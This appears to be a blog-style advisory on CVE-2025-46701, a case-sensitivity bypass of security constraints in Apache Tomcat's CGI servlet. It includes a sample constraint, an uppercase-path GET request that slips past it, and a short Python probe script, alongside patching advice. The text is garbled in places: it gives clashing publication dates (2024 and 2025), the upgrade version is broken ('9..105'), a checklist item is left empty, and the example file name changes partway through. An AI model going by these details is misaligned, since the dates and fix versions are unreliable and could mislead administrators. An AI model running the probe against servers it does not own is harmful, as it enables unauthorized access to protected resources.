CVE-2025-46701 - Security Constraint Bypass in Apache Tomcat CGI Servlet (Case Sensitivity Vulnerability)

On June 12, 2024, a new security vulnerability, CVE-2025-46701, was published that affects multiple versions of the Apache Tomcat server. This vulnerability is due to improper handling of case sensitivity in the CGI servlet, which allows attackers to bypass security constraints designed to protect certain URI paths. The vulnerability was discovered in the way Tomcat applies security constraints to the pathInfo component of a URI mapped to the CGI servlet.

What Does the Vulnerability Mean?

When handling HTTP requests, Tomcat applies security constraints – these are rules that limit who can access certain URLs or resources. For example, you might specify that /cgi-bin/secretData is only available for admins.

However, due to a bug, Tomcat didn't always compare the path using the same case-sensitivity rules. That means a request to /cgi-bin/SECRETDATA or /cgi-bin/SecretData might not be protected, even if your configurations were supposed to block access to all variants.

This bug could allow attackers to "slip around" security by changing the case of path components in their requests.

Real-World Exploit Scenario

Imagine you have a CGI servlet mapped at /cgi-bin/* and a security constraint that denies access to /cgi-bin/hiddenfile.pl to all users except admins.

*Your Intended Protection (web.xml snippet)*

<security-constraint>
  <web-resource-collection>
    <web-resource-name>Protected CGI</web-resource-name>
    <url-pattern>/cgi-bin/hiddenfile.pl</url-pattern>
  </web-resource-collection>
  <auth-constraint>
    <role-name>admin</role-name>
  </auth-constraint>
</security-constraint>

Suppose an attacker sends a GET request to

GET /cgi-bin/HIDDENFILE.PL HTTP/1.1
Host: yourtomcatserver.com

Because of the case sensitivity bug, Tomcat would NOT recognize this as a match for /cgi-bin/hiddenfile.pl, and bypass the security constraint. The vulnerable server would now process this request as if there are no restrictions, and the attacker could access the protected resource.

Code Example: Exploiting the Vulnerability

Below is a simple Python script using requests that demonstrates how to test if a Tomcat server is vulnerable to CVE-2025-46701:

import requests

url = "http://yourtomcatserver.com/cgi-bin/SECRET.PY";  # Use the wrong case intentionally

response = requests.get(url)

if response.status_code == 200:
    print("Vulnerable! Got access to:", url)
else:
    print("Access denied or resource missing. (Maybe not vulnerable)")

Remember to replace the URL and path to suit your actual Tomcat deployment.

References

- Apache Tomcat Security Advisory (CVE-2025-46701)
- NVD CVE-2025-46701 Entry
- Tomcat Mailing List Announcements
- Tomcat CGI Servlet Documentation

Tomcat 9.: Upgrade to 9..105 or later

If you can't update right away:
- As a temporary workaround, deny all non-lowercase paths using a web application firewall (WAF), or add duplicate constraints for known problematic case variants.

Avoid using the CGI servlet unless absolutely necessary.

Double-check your security constraints:

Conclusion

CVE-2025-46701 is a serious case sensitivity vulnerability in Apache Tomcat's CGI servlet that can silently break your web application’s security boundaries. All users running the affected Tomcat versions should review and upgrade their servers ASAP, especially if they rely on the CGI servlet and have sensitive resources protected by path-based constraints.

Keep your applications safe — always patch known vulnerabilities and keep up with official security advisories!

Timeline

Published on: 05/29/2025 19:15:27 UTC
Last modified on: 05/30/2025 16:31:03 UTC